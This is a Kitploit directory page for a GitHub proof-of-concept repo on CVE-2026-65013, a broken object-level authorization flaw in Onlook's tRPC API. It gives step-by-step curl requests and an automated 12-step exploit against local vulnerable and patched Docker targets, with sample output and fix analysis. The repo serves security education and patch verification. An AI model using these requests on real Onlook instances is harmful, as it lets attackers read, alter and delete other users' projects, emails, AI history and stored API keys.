Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-65013-BOLA-IDOR — 针对 Onlook 的 tRPC API 的可复现 BOLA/IDOR PoC(CVE-2026-65013),包含 12 步利用链、存在漏洞和已修补的 Docker 目标,以及技术文档。 | Kitploit
工具/GitHubGitHub/isaca0315/cve-2026-65013-bola-idor
身份验证与授权漏洞分析漏洞利用Web应用程序漏洞利用API安全测试Web安全渗透测试学习与教育红队

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
实验室与实践
GitHubisaca0315/cve-2026-65013-bola-idor

CVE-2026-65013-BOLA-IDOR

针对 Onlook 的 tRPC API 的可复现 BOLA/IDOR PoC(CVE-2026-65013),包含 12 步利用链、存在漏洞和已修补的 Docker 目标,以及技术文档。

查看仓库
1天前尚未审核

CVE-2026-65013-BOLA-IDOR

可复现的 BOLA / IDOR PoC,针对 Onlook 的 tRPC API(CVE-2026-65013)。

任何已认证用户只需将其他用户的 UUID 传入 tRPC 过程,即可读取、修改并删除其他用户的项目、成员和 AI 历史记录(版本 <= 0.2.32)。

CVECVE-2026-65013
AdvisoryGHSA-j6x3-f5cf-2pg4
CWECWE-639 (Authorization Bypass Through User-Controlled Key)
CVSS 3.18.8 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
受影响版本Onlook <= 0.2.32
补丁commit 423e2e9(PR onlook-dev/onlook#3129)

📚 文档

文档内容
docs/CVE-2026-65013.md

概述

Onlook 通过 tRPC 暴露其后端,过程直接从客户端接收资源 id:

root@kitploit:~
project.get({ projectId })                // 读取任意项目
member.remove({ projectId, userId })      // 移除任意成员
chat.conversation.delete({ conversationId }) // 删除 AI 历史记录
settings.get({ projectId })               // 包含 API keys 的 settings

问题在于:大多数过程没有验证调用者是否为项目成员。Postgres(Drizzle)连接是一个豁免 Row Level Security 的超级用户,因此控制必须存在于 tRPC 代码中……而那里恰恰缺失了。

一个 verifyProjectAccess() helper 早已存在(应用于少数过程,例如 project.update/delete),但其余 surface 都信任客户端提供的 id:project.get、member.list、member.remove、invitation.list、chat.conversation.*、chat.message.*、branch.*、settings.*、frame.*……

认证不是问题(Supabase 的 JWT 正常工作)。问题在于对象级授权(BOLA/IDOR):攻击者使用自己合法的会话去访问受害者的 id。

漏洞技术细节

  • lib/authorization.js 包含缺失的 helper(verifyProjectAccess、verifyConversationAccess、verifyMessagesAccess、verifyBranchAccess、verifyCanvasAccess、verifyMemberRemoval、verifyInvitationAccess)——即 commit 423e2e9 的等价物。
  • lib/router.js 仅在 enforceAuth 启用时调用它们;在易受攻击模式下,过程在没有检查的情况下执行(真正的 bug)。
  • 在已修补模式下,每个验证都会抛出相同的通用错误 Unauthorized or not found(UNAUTHORIZED),以防止枚举资源是否存在:
    root@kitploit:~
    // chat.conversation.delete — vulnerable (sin chequeo)  vs  parcheado:
    enforce(() => verifyConversationAccess(ctx.db, ctx.user.id, input.conversationId))
    

⚔️ Red Team 分步指南

步骤 0 — 启动基础设施(Docker)

root@kitploit:~
docker compose up -d --build
curl -s http://localhost:3000/health        # {"status":"ok","fixed":false}   → VULNERABLE
curl -s http://localhost:3001/health        # {"status":"ok","fixed":true}    → PARCHEADO

Docker 会启动 target(易受攻击和已修补版本)以及一个 demo 服务。利用过程从你的机器针对这些 target 进行。

步骤 1 — 侦察

root@kitploit:~
curl -s http://localhost:3000/demo/ids      # ids del seed de la víctima (Alice)

这替代了攻击者获取 UUID 的真实渠道(共享预览链接、日志 referrer、邀请……)。

步骤 2 — 以攻击者身份登录(Bob,合法用户)

root@kitploit:~
TOKEN=$(curl -s -X POST http://localhost:3000/login \
  -H 'content-type: application/json' \
  -d '{"email":"[email protected]","password":"bob123"}' | node -pe 'JSON.parse(require("fs").readFileSync(0,"utf8")).token')

步骤 3 — 使用 curl 手动利用(advisory 的确切格式)

root@kitploit:~
# 3a. LEER el proyecto secreto de Alice (GET, formato input={"json":...}):
curl -s "http://localhost:3000/api/trpc/project.get?input=%7B%22json%22%3A%7B%22projectId%22%3A%2211111111-1111-4111-8111-111111111111%22%7D%7D" \
  -H "Authorization: Bearer $TOKEN"

# → {"result":{"data":{"json":{"id":"1111...","name":"Lanzamiento Q3 (PROYECTO SECRETO)",...}}}}

# 3b. LISTAR miembros y emails (aun siendo ajeno al proyecto):
curl -s "http://localhost:3000/api/trpc/member.list?input=%7B%22json%22%3A%7B%22projectId%22%3A%2211111111-1111-4111-8111-111111111111%22%7D%7D" \
  -H "Authorization: Bearer $TOKEN"

# 3c. EXPULSAR a Alice (owner) de SU propio proyecto (POST mutation):
curl -s -X POST http://localhost:3000/api/trpc/member.remove \
  -H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \
  -d '{"json":{"projectId":"11111111-1111-4111-8111-111111111111","userId":"aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa"}}'

# → {"result":{"data":{"json":true}}}     ← (Alice ya no está en su proyecto)

# 3d. BORRAR el historial de IA de Alice:
curl -s -X POST http://localhost:3000/api/trpc/chat.conversation.delete \
  -H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \
  -d '{"json":{"conversationId":"44444444-4444-4444-8444-444444444444"}}'

步骤 4 — 自动化 exploit(node exploit.js)

执行攻击链中的 12 个过程(读取项目、列出 Alice 的项目、过滤 emails、移除 owner、列出邀请、读取/删除 AI 历史记录、branches、包含 apiKey 的 settings、frames):

root@kitploit:~
node exploit.js                                  # contra :3000 (vulnerable)  → filtraciones
node exploit.js --target http://localhost:3001 --expect blocked   # contra :3001 (parcheado)

典型输出(易受攻击):

root@kitploit:~
💥 project.get              → FILTRADO
💥 member.remove            → FILTRADO   (membership ajeno borrado: true)
💥 chat.conversation.delete → FILTRADO   (historial de IA ajeno borrado: true)
...
✅ 12/12 — CVE-2026-65013 CONFIRMADA: bob leyó/borró recursos de alice.

针对已修补版本:

root@kitploit:~
🛡️ project.get              → BLOQUEADO   (Unauthorized or not found)
...
✅ 12/12 — Servidor PARCHEADO: el mismo ataque fue bloqueado.

利用过程会修改易受攻击服务器的内存数据库:要重新执行,请重启该实例(docker compose restart server)。

步骤 5 — 验证 / 对照


验证演示

root@kitploit:~
npm run demo        # compara VULNERABLE vs PARCHEADO en proceso (sin red), 12 procedimientos
bash test-local.sh  # harness integral: curl (formato advisory) + exploit vs :3100 y :3101, exit code real

或在 Docker 中:

root@kitploit:~
docker compose up -d demo
docker logs cve-2026-65013-demo

前端(真实应用模式)

root@kitploit:~
open http://localhost:3000        # (o http://localhost:3001 para la versión parcheada)

演示账户:

  • Dashboard:你的项目(project.getPreviewProjects)、服务器状态(易受攻击/已修补)以及 tRPC surface。
  • Red Team:从浏览器以 Bob 身份执行完整 BOLA 攻击链的控制台,按过程显示 💥 FILTRADO / 🛡️ BLOQUEADO 结果。

前端只是展示:漏洞存在于 lib/router.js,README 中手动 curl 流程仍然相同。

项目结构

root@kitploit:~
.
├── Dockerfile               node:22-alpine + deps + app
├── docker-compose.yml       server (vulnerable :3000), server-fixed (:3001), demo — misma imagen, cambia FIXED
├── .dockerignore            excluye node_modules
├── .gitignore
├── package.json             @trpc/[email protected], @trpc/client, superjson, zod
├── server.js                HTTP: /health, /login, /demo/ids, /api/trpc/*, estáticos (FIXED=env)
├── exploit.js               PoC automatizado (cadena BOLA/IDOR de 12 pasos)
├── demo.js                  comparación vulnerable vs parcheado en proceso
├── test-local.sh            batería local: curl (formato advisory) + exploits + exit code
├── lib/
│   ├── db.js                base en memoria + seed (UUIDs estáticos y reproducibles)
│   ├── auth.js              tokens de sesión HS256 (bien hechos a propósito)
│   ├── authorization.js     helpers del FIX (commit 423e2e9) → "Unauthorized or not found"
│   └── router.js            createAppRouter({ enforceAuth }) — el surface tRPC
├── public/                  app "real" (login, dashboard, consola Red Team)
│   ├── index.html
│   ├── styles.css
│   └── app.js               cliente tRPC manual (mismo wire format del advisory)
└── docs/
    ├── CVE-2026-65013.md    documentación técnica de la CVE
    └── ARQUITECTURA.md       este repo explicado (mapa, wire format, extensión)

要了解 exploit 中每一行关键代码的作用以及如何扩展到更多过程:请参阅 docs/ARQUITECTURA.md §8-§9。

免责声明

本材料仅供教育和安全研究目的。请仅针对自己的应用程序或在获得所有者书面授权的情况下使用该 exploit。未经授权对第三方系统使用此技术是违法的,使用者需自行承担相应责任。

下载工具
CVE 技术分析:根本原因(RLS 豁免 + helper 分配不当)、实际受影响面、攻击剖析、423e2e9 修复的逐行分析、修复建议、CVE/advisory/PR 参考。
docs/ARQUITECTURA.mdPoC 架构:文件地图、tRPC v10+superjson 的 wire format、数据模型、VULN 与 FIX 方案、过程表、PoC ↔ 真实 Onlook 映射、扩展指南、手动验证/CI。
  • project.update 在两种模式下都受到保护,作为“对照”:证明该 helper 存在,只是分配不当。
  • 过程:3000 易受攻击:3001 已修补
    project.get(他人项目)200 + 名称/元数据401 Unauthorized or not found
    member.list(他人 emails)200 + emails401
    member.remove(移除 owner)200 true401
    chat.conversation.delete200 true401
    settings.get(apiKey)200 + settings401
    project.update(对照:原本已受保护)401401
    EmailPassword角色
    [email protected]alice123秘密项目的所有者
    [email protected]bob123攻击者
    [email protected]charlie123Alice 项目的编辑者